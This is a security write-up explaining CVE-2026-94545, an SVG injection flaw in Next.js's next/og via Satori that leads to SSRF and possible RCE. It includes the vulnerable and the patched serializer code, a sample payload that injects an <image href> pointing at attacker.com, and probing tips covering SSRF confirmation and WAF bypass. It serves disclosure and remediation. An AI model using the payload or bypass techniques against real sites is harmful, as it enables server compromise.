CVE-2026–94545 Explained: What Happens When an OG-Image Generator Forgets to Escape
The next/og module in Next.js failed to escape user-controlled values when converting JSX to SVG, allowing an attacker to inject arbitrary SVG elements. This could lead to SSRF or remote code execution when the crafted SVG is processed by native libraries via sharp.
Published on medium.com
Nextjs
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Next.js's next/og module generates Open Graph images, the preview cards that appear when a link is shared on social platforms, directly from JSX and CSS. Because it is routine to drop external input such as a blog post title or a profile name into that image, the feature is almost always exposed as a public endpoint reachable with no login at all.

The core of CVE-2026-94545 is that a value went unescaped in the middle of the image pipeline, between JSX and SVG. ImageResponse converts JSX into an SVG string internally through a library called Satori, and during that conversion characters such as ", < and > inside attribute values or text were dropped straight into the SVG string as-is. If an attacker supplies input containing those characters, what should have been a piece of text turns into an entirely new SVG tag. That finished SVG then goes through sharp to be rasterized into a PNG by native libraries (libvips, librsvg, libxml2), and when an XML document whose structure the attacker fully controls reaches those native parsers, it can lead to remote code execution with the privileges of the server process.
Setup
The analysis is source-level: it walks the ImageResponse code path and the Satori serialisation code before and after the fix. Two preconditions are stated for the attack to work:
ImageResponsemust run on the Node.js runtime; the Edge runtime is not affected.- Attacker-controlled input must land in SVG content, an attribute, or a style.
OG image routes are public by design, and sharp ships by default in most production deployments, including the official Docker image, so both conditions are satisfied in common setups without anyone doing anything unusual.
Finding it
The full path ImageResponse takes to produce an image is:
- Application code hands JSX to
new ImageResponse(<div>...</div>). That JSX usually contains external input, a URL query parameter for instance. - Satori parses the JSX and CSS and assembles an SVG string.
- The assembled SVG string is passed to
sharpto be rasterized into a PNG. - The finished PNG is returned as the OG image.
A typical route looks like this:
export async function GET(req) { const title = req.nextUrl.searchParams.get('title'); return new ImageResponse( <div style={{ fontSize: 48 }}>{title}</div> );}
Here title is entirely attacker-controlled. The problem sits in step 2, the exact moment Satori turns that value into an SVG string.

Exploitation
Step 1: Satori interpolates attribute values and text into a template literal, unescaped
Before the fix, Satori's preprocess.ts serialised each SVG element's attributes using a plain template literal:
const attrs = `${Object.entries(restProps) .map(([k, _v]) => { if (typeof _v === 'string' && _v.toLowerCase() === 'currentcolor') { _v = currentColor } return ` ${ATTRIBUTE_MAPPING[k] || k}="${_v}"` // _v inserted as-is }) .join('')}`
Text nodes received the same treatment:
if (typeof node !== 'object') return String(node)
Whatever characters end up in _v (an attribute value) or node (text content), there is no step that turns ", <, > or &, characters with special meaning in HTML/XML, into their entity equivalents. Nothing stopped a value from being read as part of the markup instead of as data.
Step 2: a " and > in the value break the attribute boundary and spawn a new tag
The code that renders a <text> element puts a value like title directly into an attribute. If an attacker sends:
title = A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>
the assembled SVG string, with no escaping in place, comes out as:
<text x="10" title="A"><image href="http://attacker.com/payload.svg" width="500" height="500"/> ">...</text>
The attribute that was supposed to end at title="A" cuts off right at A", and what follows, ><image .../>, is no longer parsed as an attribute of <text> at all. It becomes an entirely new, sibling-level SVG element. Put an external URL in <image>'s href and you get SSRF; break into <foreignObject> or <style> instead, and you open up a different parsing path. Which tag gets injected is entirely up to the attacker, because Satori had no way to tell the difference.
Step 3: the finished SVG reaches the native parsers through sharp
Once assembled, the SVG string is handed to sharp to be converted into a PNG:
const png = await sharp(Buffer.from(svgString)).png().toBuffer()
sharp does not parse SVG itself; it delegates to libvips, which in turn calls native libraries such as librsvg and libxml2 to interpret the SVG. At this point what Satori handed off is no longer a picture description containing a title, it is an XML document whose structure the attacker designed. Feeding that document to a native parser opens two kinds of damage:
- SSRF, via an injected
<image href="http://...">that makes the server request an arbitrary internal or external resource. - RCE, if the crafted SVG structure triggers memory corruption while
librsvg/libxml2parse it, executing arbitrary code with the privileges of the Next.js server process.
Root cause
The mistake is a missing output-encoding step at the boundary between data and markup. Satori built the SVG by string interpolation, inserting attribute values and text nodes verbatim, so characters that are significant in XML were emitted as markup rather than encoded as entities. The serializer had no concept of an attribute value as data: it concatenated name="value" and trusted the value not to contain a quote or an angle bracket.
The serializer concatenated name="value" and trusted the value not to contain a quote or an angle bracket, and the downstream consumers (sharp, libvips, librsvg, libxml2) received an XML document whose structure the attacker designed.
Impact
An attacker who can reach a public OG image route on the Node.js runtime and get input into SVG content, an attribute or a style can inject arbitrary SVG elements. That yields SSRF against internal or external resources through an injected <image href>, and potentially RCE through memory corruption in librsvg/libxml2, running with the privileges of the Next.js server process. The report presents the RCE as conditional on the crafted structure triggering memory corruption, and lists SSRF as the other possible outcome of the injection. The Edge runtime is not affected, and input that never reaches SVG content, an attribute or a style does not trigger the flaw.
Fix
Satori 0.33.5 reworked the entire SVG serialisation path to handle values and names through two different, purpose-built mechanisms.
export function escapeXMLAttribute(value: unknown): string { if ( typeof value === 'number' || typeof value === 'bigint' || typeof value === 'boolean' ) { return '' + value } return escapeHTML(String(value)) }
export function escapeXMLText(value: unknown): string { return escapeHTML(String(value))}export function assertValidXMLName(name: string, kind: 'element' | 'attribute') { if (!VALID_XML_NAME.test(name)) { throw new Error(`Invalid XML ${kind} name: ${JSON.stringify(name)}`) }}
And the serializer, buildXMLString(), now routes every attribute through that escaping function:
export function buildXMLString( type: string, attrs: Record<string, unknown>, children?: string) { assertValidXMLName(type, 'element') let attrString = '' for (const [k, _v] of Object.entries(attrs)) { if (typeof _v !== 'undefined') { assertValidXMLName(k, 'attribute') attrString += ` ${k}="${escapeXMLAttribute(_v)}"` } } ...}
Values go through escapeXMLAttribute()/escapeXMLText(), which convert ", <, >, & and the like into entities, turning them into strings that can never break out of a tag. Tag names and attribute names (keys) cannot be escaped at all by nature, so those go through assertValidXMLName() instead, which throws if the name does not conform to the XML naming spec. Escaping for values, validation for names: treating two fundamentally different kinds of input with the mechanism each one actually needs is the core of this fix.
Remediation steps from the write-up:
- Update Next.js to 16.3.6 or later. If you depend on Satori directly, update it to 0.33.5 or later.
- If an immediate update is not possible, audit every path where user input reaches the JSX passed to
ImageResponse. Where feasible, moving the affected route to the Edge runtime, or running it in an environment without thesharpdependency, can serve as a temporary mitigation, though neither is a substitute for the real patch. - Since OG image routes are inherently meant to be public, a WAF rule that temporarily blocks requests where image-generation query parameters (
title,description, etc.) contain",<or>can help in the interim. - If there was a window of exposure, check outbound request logs for signs that a
sharp/librsvgprocess reached an unexpected external host, a possible indicator of SSRF.
- Other injection sinks in the same serializer. Try values that land in
<style>or<foreignObject>rather than a plain attribute. A positive result is an assembled SVG in which your characters form a new element or a new CSS rule instead of text. - Attribute-name injection. Supply input that reaches an attribute key rather than a value. A positive result is a key that is not a valid XML name being emitted without error on a pre-fix version, or an error being thrown on 0.33.5 and later.
- Entity handling. Send
&and entity-like sequences in text and attribute values. A positive result on a vulnerable build is an entity being interpreted by the downstream parser rather than rendered literally. - Runtime check. Deploy the same route on the Edge runtime and on Node.js. A positive result for the flaw is the Node.js route producing a rasterized image from injected markup while the Edge route does not.
- SSRF confirmation. Inject an
<image href>pointing at a host you control and watch for an outbound request from the image-generation process. A positive result is a request arriving from the server, not the browser. - WAF bypass. If a rule blocks
",<or>in query parameters, try encoded or alternative representations of the same characters. A positive result is the payload reaching Satori intact despite the rule.
What happened, in plain words
A website can ask a small piece of software to draw a picture for it. That picture is the little preview card you see when someone shares a link on a social network: a coloured rectangle with a title, maybe a description, sometimes a logo. The software that draws these cards is part of a popular web framework called Next.js, and the specific part is called next/og.
Because the whole point of these cards is to show things like a blog post title or a person's name, the drawing service is almost always left open to the public. Anyone on the internet can ask it to draw a card, with no login. That is normal and intended.
The bug, tracked as CVE-2026-94545, is that one value was never cleaned up before being pasted into the picture description. The picture description is written in a text format called SVG, which is a way of describing shapes and text with tags, much like HTML describes web pages. If someone sends a title containing a few special characters, those characters stop being treated as text and start being treated as instructions. The drawing software then builds a picture description that the attacker designed, and the server hands that description to deeper software that reads it. In the worst case, that deeper software can be tricked into running the attacker's code on the server itself.

This is a beginner's walkthrough of the whole story: what the feature does, where the mistake sits, how an attacker would abuse it, what damage it can cause, and how the fix works.
The pieces you need to know first
Before the details, a few everyday ideas. None of them require any security background.
- A server is a computer somewhere that answers requests from your browser. When you open a page, your browser asks a server for it and the server sends it back.
- An endpoint is one specific address on a server that does one specific job. Think of a restaurant: the building is the server, and each counter where you can order a particular dish is an endpoint. The OG image endpoint is the counter that hands out preview cards.
- An API is the set of rules for talking to those counters: which address to call, what to send, what comes back. It is like a menu that tells you what you can order and how to phrase the order.
- A query parameter is a small piece of information attached to the end of a web address, after a question mark. In
example.com/card?title=Hello, the parameter is calledtitleand its value isHello. It is how you pass a word to the endpoint so it can put that word on the card. - JSX is a way of writing web page structure inside JavaScript code. It looks like HTML tags mixed into programming code, and it lets a developer describe what should appear on screen (or in an image) in a readable way.
- SVG is a text format for describing pictures. Instead of storing pixels, it stores instructions: draw a rectangle here, write this text there. Browsers and image tools can read SVG and turn it into a picture.
- XML is a general text format built from tags in angle brackets, like
<name>value</name>. SVG is a kind of XML. HTML, the language of web pages, is closely related. - Escaping means replacing characters that have a special meaning in a format with safe stand-ins, so they are treated as ordinary text. In HTML and XML, the character
<normally starts a tag. If you want to actually show a less-than sign to a reader, you write<instead. That replacement is escaping. It is like putting quotation marks around a word in a sentence so the reader knows you are mentioning the word rather than using it. - A tag is a labelled instruction in XML or HTML, written between angle brackets, such as
<text>or<image>. Tags can carry attributes, which are extra settings written inside the tag, likewidth="500". - Remote code execution (RCE) means an attacker manages to make the server run code of their choosing. It is the most serious kind of web vulnerability, because the attacker is no longer just reading or changing data, they are running programs on someone else's machine.
- SSRF (server-side request forgery) means tricking the server into making a network request on the attacker's behalf, usually to an address the attacker cannot reach directly. It is like persuading a colleague with an office key to fetch a file from a locked room for you.
- A runtime is the environment in which code runs. Next.js can run its code in two different environments, Node.js and Edge, and they behave differently. The report says only the Node.js one is affected.
- A WAF (web application firewall) is a filter placed in front of a website that inspects incoming requests and blocks ones that look suspicious, a bit like a bouncer checking bags at a door.
What the feature does
Next.js's next/og module generates Open Graph images. "Open Graph" is just the name of the convention social platforms use to decide what a shared link should look like. The module builds these images directly from JSX and CSS, meaning the developer writes something that looks like a small web page and the module turns it into a picture.
Because it is routine to drop external input, such as a blog post title or a profile name, into that image, the feature is almost always exposed as a public endpoint reachable with no login at all. That openness is not a mistake by itself. It is the design.

The core of CVE-2026-94545 is that a value went unescaped in the middle of the image pipeline, between JSX and SVG. ImageResponse converts JSX into an SVG string internally through a library called Satori. During that conversion, characters such as ", < and > inside attribute values or text were dropped straight into the SVG string as-is. If an attacker supplies input containing those characters, what should have been a piece of text turns into an entirely new SVG tag.
That finished SVG then goes through a library called sharp to be rasterized into a PNG by native libraries (libvips, librsvg, libxml2). "Rasterized" means turned from a set of drawing instructions into a grid of pixels, the kind of image file you can save and share. When an XML document whose structure the attacker fully controls reaches those native parsers, it can lead to remote code execution with the privileges of the server process.
The setup the report assumes
The analysis is source-level: it walks the ImageResponse code path and the Satori serialisation code before and after the fix.
Two preconditions are stated for the attack to work:
ImageResponsemust run on the Node.js runtime; the Edge runtime is not affected.- Attacker-controlled input must land in SVG content, an attribute, or a style.
OG image routes are public by design, and sharp ships by default in most production deployments, including the official Docker image, so both conditions are satisfied in common setups without anyone doing anything unusual. That is why this bug matters: both conditions are satisfied in common setups without anyone doing anything unusual.
Finding it: the path from code to picture
The full path ImageResponse takes to produce an image is:
- Application code hands JSX to
new ImageResponse(<div>...</div>). That JSX usually contains external input, a URL query parameter for instance. - Satori parses the JSX and CSS and assembles an SVG string.
- The assembled SVG string is passed to
sharpto be rasterized into a PNG. - The finished PNG is returned as the OG image.
A typical route looks like this:
export async function GET(req) { const title = req.nextUrl.searchParams.get('title'); return new ImageResponse( <div style={{ fontSize: 48 }}>{title}</div> );}
Line by line, in plain words:
export async function GET(req) {declares a function that handles a GET request, which is the ordinary kind of request a browser makes when it asks for a page or an image.reqis the incoming request, carrying whatever the visitor sent.const title = req.nextUrl.searchParams.get('title');reads thetitlequery parameter out of the address and stores it in a variable calledtitle. If the visitor called the address with?title=Hello, this line makestitleequal toHello. Whatever the visitor typed is now in the program.return new ImageResponse(starts building the picture.ImageResponseis the constructor that turns the following JSX into an image.<div style={{ fontSize: 48 }}>{title}</div>is the JSX: a box with 48-pixel text, and inside it the value oftitle. The curly braces mean "insert the value of this variable here".);and}close the call and the function.
Here title is entirely attacker-controlled. Anyone can put anything they like after ?title= in the address. The problem sits in step 2, the exact moment Satori turns that value into an SVG string.

Exploitation, step by step
Step 1: Satori pastes values into the SVG without escaping
Before the fix, Satori's preprocess.ts serialised each SVG element's attributes using a plain template literal. A template literal is a JavaScript string that lets you drop variables into it, written with backticks and ${...}.
const attrs = `${Object.entries(restProps) .map(([k, _v]) => { if (typeof _v === 'string' && _v.toLowerCase() === 'currentcolor') { _v = currentColor } return ` ${ATTRIBUTE_MAPPING[k] || k}="${_v}"` // _v inserted as-is }) .join('')}`
What each part does:
Object.entries(restProps)takes the settings of an element (its attributes) and turns them into a list of name-and-value pairs..map(([k, _v]) => { ... })goes through that list one pair at a time.kis the attribute name,_vis its value.- The
ifblock is a small special case: if the value is the wordcurrentcolor(a colour keyword meaning "use the current text colour"), it is replaced with the actual colour. This is unrelated to the bug. return${ATTRIBUTE_MAPPING[k] || k}="${_v}"`` builds the text of the attribute. It writes a space, the attribute name, an equals sign, a double quote, the value, and a closing double quote. The comment// _v inserted as-isis the heart of the problem: the value goes in exactly as received, with no cleaning..join('')glues all the pieces into one string.
Text nodes received the same treatment:
if (typeof node !== 'object') return String(node)
This line says: if the thing being processed is not an object (that is, it is plain text), turn it into a string and return it unchanged. No escaping happens here either.
Whatever characters end up in _v (an attribute value) or node (text content), there is no step that turns ", <, > or &, characters with special meaning in HTML/XML, into their entity equivalents. Nothing stopped a value from being read as part of the markup instead of as data. The everyday comparison: if you write a shopping list and one item is the word "and", nobody minds. But if you write instructions for a robot and one instruction is "and", the robot may treat it as a command rather than a word. Here the robot is the SVG parser.
Step 2: a quote and a bracket break out of the attribute
The code that renders a <text> element puts a value like title directly into an attribute. If an attacker sends:
title = A"><image href="http://attacker.com/payload.svg" width="500" height="500"/>
This is just a value for the title parameter. It starts with an ordinary letter A, then a double quote, then a greater-than sign, then a whole <image> tag, and so on. To a human it looks like a title with junk after it. To a parser that does not escape, it looks like the end of one tag and the start of another.
The assembled SVG string, with no escaping in place, comes out as:
<text x="10" title="A"><image href="http://attacker.com/payload.svg" width="500" height="500"/> ">...</text>
Read it slowly:
<text x="10" title="A"is the start of the text element. Thetitleattribute was supposed to hold the whole visitor-supplied value.- The
"right afterAcloses the attribute early. The parser thinks the title is justA. >then closes the<text>opening tag altogether.<image href="http://attacker.com/payload.svg" width="500" height="500"/>is now a brand-new element, a sibling of the text element, telling the renderer to load an image from an address the attacker chose.- The trailing
">...</text>is the leftover of the original template, now meaningless.
The attribute that was supposed to end at title="A" cuts off right at A", and what follows, ><image .../>, is no longer parsed as an attribute of <text> at all. It becomes an entirely new, sibling-level SVG element. Put an external URL in <image>'s href and you get SSRF; break into <foreignObject> or <style> instead, and you open up a different parsing path. Which tag gets injected is entirely up to the attacker, because Satori had no way to tell the difference between data and markup.
Step 3: the finished SVG reaches native parsers through sharp
Once assembled, the SVG string is handed to sharp to be converted into a PNG:
const png = await sharp(Buffer.from(svgString)).png().toBuffer()
Line by line:
sharp(...)calls the image library with the SVG text.Buffer.from(svgString)turns the text into raw bytes, the form the library expects..png()says the output should be a PNG image..toBuffer()runs the conversion and gives back the finished image as bytes.awaitwaits for that work to finish, because it takes time.
sharp does not parse SVG itself; it delegates to libvips, which in turn calls native libraries such as librsvg and libxml2 to interpret the SVG. "Native" here means code written in a lower-level language and compiled for the machine, rather than JavaScript. At this point what Satori handed off is no longer a picture description containing a title, it is an XML document whose structure the attacker designed. Feeding that document to a native parser opens two kinds of damage:
- SSRF, via an injected
<image href="http://...">that makes the server request an arbitrary internal or external resource. The server fetches the address because the picture says to, and the attacker learns something or reaches something they could not reach from their own browser. - RCE, if the crafted SVG structure triggers memory corruption while
librsvg/libxml2parse it, executing arbitrary code with the privileges of the Next.js server process. Memory corruption is a programming fault where data is written outside the area reserved for it, which can let an attacker redirect the program's behaviour.
Why it happened
The mistake is a missing output-encoding step at the boundary between data and markup. Satori built the SVG by string interpolation, inserting attribute values and text nodes verbatim, so characters that are significant in XML were emitted as markup rather than encoded as entities. The serializer had no concept of an attribute value as data: it concatenated name="value" and trusted the value not to contain a quote or an angle bracket.
The serializer concatenated name="value" and trusted the value not to contain a quote or an angle bracket, and the downstream consumers (sharp, libvips, librsvg, libxml2) received an XML document whose structure the attacker designed. It is the difference between a receptionist who reads out a visitor's name and one who reads out whatever the visitor wrote on the sign-in sheet, including instructions for the staff.
What an attacker could do
An attacker who can reach a public OG image route on the Node.js runtime and get input into SVG content, an attribute or a style can inject arbitrary SVG elements. That yields SSRF against internal or external resources through an injected <image href>, and potentially RCE through memory corruption in librsvg/libxml2, running with the privileges of the Next.js server process.
The report presents the RCE as conditional on the crafted structure triggering memory corruption, and lists SSRF as the other possible outcome of the injection. The Edge runtime is not affected, and input that never reaches SVG content, an attribute or a style does not trigger the flaw.
The fix
Satori 0.33.5 reworked the entire SVG serialisation path to handle values and names through two different, purpose-built mechanisms.
export function escapeXMLAttribute(value: unknown): string { if ( typeof value === 'number' || typeof value === 'bigint' || typeof value === 'boolean' ) { return '' + value } return escapeHTML(String(value)) }
What this does:
export function escapeXMLAttribute(value: unknown): stringdeclares a function that takes any value and returns a string, meant for attribute values.- The
ifchecks whether the value is a number, a big integer or a true/false value. Those cannot contain dangerous characters, so they are simply turned into text with'' + value. - Everything else goes through
escapeHTML(String(value)), which replaces the dangerous characters with safe entities.
export function escapeXMLText(value: unknown): string { return escapeHTML(String(value))}export function assertValidXMLName(name: string, kind: 'element' | 'attribute') { if (!VALID_XML_NAME.test(name)) { throw new Error(`Invalid XML ${kind} name: ${JSON.stringify(name)}`) }}
What this does:
escapeXMLTextdoes the same job for text content: turn the value into a string and escape it.assertValidXMLNamechecks a name, either an element name or an attribute name.VALID_XML_NAME.test(name)asks whether the name matches the allowed pattern.- If it does not,
throw new Error(...)stops everything with an error message. A bad name is refused rather than repaired, because names cannot be escaped.
And the serializer, buildXMLString(), now routes every attribute through that escaping function:
export function buildXMLString( type: string, attrs: Record<string, unknown>, children?: string) { assertValidXMLName(type, 'element') let attrString = '' for (const [k, _v] of Object.entries(attrs)) { if (typeof _v !== 'undefined') { assertValidXMLName(k, 'attribute') attrString += ` ${k}="${escapeXMLAttribute(_v)}"` } } ...}
What this does:
- The function receives the element type, its attributes and any children.
assertValidXMLName(type, 'element')first checks that the element name is legal.let attrString = ''starts an empty string for the attributes.- The
forloop walks each attribute pair.kis the name,_vis the value. if (typeof _v !== 'undefined')skips attributes with no value.assertValidXMLName(k, 'attribute')checks the attribute name.attrString +=${k}="${escapeXMLAttribute(_v)}"`` adds the attribute, but now the value passes through the escaping function before it is inserted. This is the line that closes the hole.
Values go through escapeXMLAttribute()/escapeXMLText(), which convert ", <, >, & and the like into entities, turning them into strings that can never break out of a tag. Tag names and attribute names (keys) cannot be escaped at all by nature, so those go through assertValidXMLName() instead, which throws if the name does not conform to the XML naming spec. Escaping for values, validation for names: treating two fundamentally different kinds of input with the mechanism each one actually needs is the core of this fix.
What to do about it
- Update Next.js to 16.3.6 or later. If you depend on Satori directly, update it to 0.33.5 or later.
- If an immediate update is not possible, audit every path where user input reaches the JSX passed to
ImageResponse. Where feasible, moving the affected route to the Edge runtime, or running it in an environment without thesharpdependency, can serve as a temporary mitigation, though neither is a substitute for the real patch. - Since OG image routes are inherently meant to be public, a WAF rule that temporarily blocks requests where image-generation query parameters (
title,description, etc.) contain",<or>can help in the interim. - If there was a window of exposure, check outbound request logs for signs that a
sharp/librsvgprocess reached an unexpected external host, a possible indicator of SSRF.
- Other injection sinks in the same serializer. Try values that land in
<style>or<foreignObject>rather than a plain attribute. A positive result is an assembled SVG in which your characters form a new element or a new CSS rule instead of text. - Attribute-name injection. Supply input that reaches an attribute key rather than a value. A positive result is a key that is not a valid XML name being emitted without error on a pre-fix version, or an error being thrown on 0.33.5 and later.
- Entity handling. Send
&and entity-like sequences in text and attribute values. A positive result on a vulnerable build is an entity being interpreted by the downstream parser rather than rendered literally. - Runtime check. Deploy the same route on the Edge runtime and on Node.js. A positive result for the flaw is the Node.js route producing a rasterized image from injected markup while the Edge route does not.
- SSRF confirmation. Inject an
<image href>pointing at a host you control and watch for an outbound request from the image-generation process. A positive result is a request arriving from the server, not the browser. - WAF bypass. If a rule blocks
",<or>in query parameters, try encoded or alternative representations of the same characters. A positive result is the payload reaching Satori intact despite the rule.
Glossary
- API: the agreed set of addresses and rules for talking to a service, like a menu that says what you can order and how.
- Attribute: an extra setting written inside a tag, such as
width="500". - Buffer: a chunk of raw bytes in memory, the form image libraries expect.
- CVE: a public identifier given to a known security vulnerability so people can refer to it unambiguously.
- Docker image: a packaged, ready-to-run copy of an application and everything it needs.
- Edge runtime: one of the environments Next.js can run code in, distinct from Node.js.
- Endpoint: one specific address on a server that performs one specific job.
- Entity: a safe stand-in for a special character in HTML or XML, such as
<for<. - Escaping: replacing characters that have special meaning in a format with safe stand-ins so they are treated as text.
- JSX: a way of writing page or image structure inside JavaScript, looking like HTML tags in code.
- Memory corruption: a programming fault where data is written outside its reserved area, which can let an attacker change how a program behaves.
- Native library: code written in a lower-level language and compiled for the machine, rather than JavaScript.
- Node.js runtime: the other environment Next.js can run code in, and the one affected by this flaw.
- OG image: the preview card shown when a link is shared on a social platform.
- Open Graph: the convention social platforms use to decide what a shared link should look like.
- Query parameter: a piece of information attached to a web address after a question mark, such as
?title=Hello. - Rasterize: turn drawing instructions into a grid of pixels, a normal image file.
- RCE (remote code execution): making a server run code of the attacker's choosing.
- Runtime: the environment in which code runs.
- Server: a computer that answers requests from browsers and other clients.
- SSRF (server-side request forgery): tricking a server into making a network request on the attacker's behalf.
- SVG: a text format that describes pictures as shapes and text rather than pixels.
- Tag: a labelled instruction in XML or HTML written between angle brackets, such as
<text>. - Template literal: a JavaScript string written with backticks that lets you insert variables using
${...}. - WAF (web application firewall): a filter in front of a website that inspects and blocks suspicious requests.
- XML: a general text format built from tags in angle brackets; SVG is a kind of XML.